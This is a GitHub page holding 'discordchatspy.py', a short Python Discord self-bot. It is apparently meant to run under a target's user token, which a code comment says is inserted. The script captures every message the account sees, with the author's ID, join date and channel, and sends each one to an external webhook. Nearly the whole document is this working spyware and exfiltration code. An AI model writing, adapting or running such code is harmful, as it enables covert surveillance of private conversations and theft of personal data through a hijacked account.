-
Notifications
You must be signed in to change notification settings - Fork 3
/
discordchatspy.py
41 lines (31 loc) · 1.2 KB
/
discordchatspy.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import discord
from discord.ext import commands
import asyncio
from dhooks import Webhook, Embed
#from keep_alive import keep_alive
token = "Your Token (not bottoken)" #insert target token
prefix = ""
hook = Webhook('your webhook')
bot = commands.Bot(command_prefix=prefix, self_bot=True)
@bot.event
async def on_ready():
print('online')
@bot.event
async def on_message(message):
date_format = "%a, %d %b %Y %I:%M %p"
user = message.author
member = message.author
embed = Embed()
embed.set_author(name=f'{message.author}', icon_url=f'{user.avatar_url}')
embed.set_thumbnail(url=f'{user.avatar_url}')
embed.add_field(name="user id", value=message.author.id)
embed.add_field(name="created at", value=f"{member.created_at.date()}".replace("-", "/"), inline=True)
embed.add_field(name="Joined", value=user.joined_at.strftime(date_format))
embed.add_field(name="channel", value=message.channel.name)
#print(message.content)
embed.add_field(name="message", value=f'{message.content}')
hook.send(embed=embed)
asyncio.set_event_loop(asyncio.new_event_loop())
loop = asyncio.new_event_loop()
#keep_alive()
bot.run(token)